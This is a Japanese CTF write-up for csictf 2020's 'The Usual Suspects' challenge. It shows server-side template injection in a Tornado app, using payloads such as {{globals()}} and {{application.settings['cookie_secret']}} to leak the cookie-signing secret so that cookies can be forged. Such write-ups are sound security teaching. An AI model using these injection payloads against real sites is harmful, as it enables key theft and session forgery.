はまやんはまやんはまやん

hamayanhamayan's blog

The Usual Suspects [csictf 2020]

CTFtime.org / csictf 2020 / The Usual Suspects

You may think I walk with no ‘name’ because it can be changed whenever I want. I am a ‘person’ whose ‘secret’ can never be found. Can you find this ‘person’s ‘secret’?
http://chall.csivit.com:30279

アイスの味を入れると、情報が出てくるサイトがある。
/?icecream=%7B%7Bchocolate%7D%7D
何やらついてきている。
{{chocolate}}
なるほど。SSTIか。

SSTI

HTTPレスポンスをみると、TornadoServerという文字があるので、バックはpythonだろう。
とりあえずninja狙いで{{config}}してみる。

Traceback (most recent call last):
  File "/usr/local/lib/python3.7/site-packages/tornado/web.py", line 1701, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "server.py", line 64, in get
  File "/usr/local/lib/python3.7/site-packages/tornado/template.py", line 361, in generate
    return execute()
  File "<string>.generated.py", line 11, in _tt_execute
    _tt_tmp = config  # <string>:19
NameError: name 'config' is not defined

エラーが出てきた。うーん?

解説!

SSTIとTornadeのCookie作成

{{globals()}}で探すと、Tornadeのクラスのインスタンスが見つかるので、色々中身を見てみると、{{application.settings["cookie_secret"]}}秘密鍵が置いてある。
秘密鍵MangoDB

pythonでTornade立ち上げて作るのがいい。
The Usual Suspects | csictf 2020
ここに単純なコードがあるので、参考にするのがいい。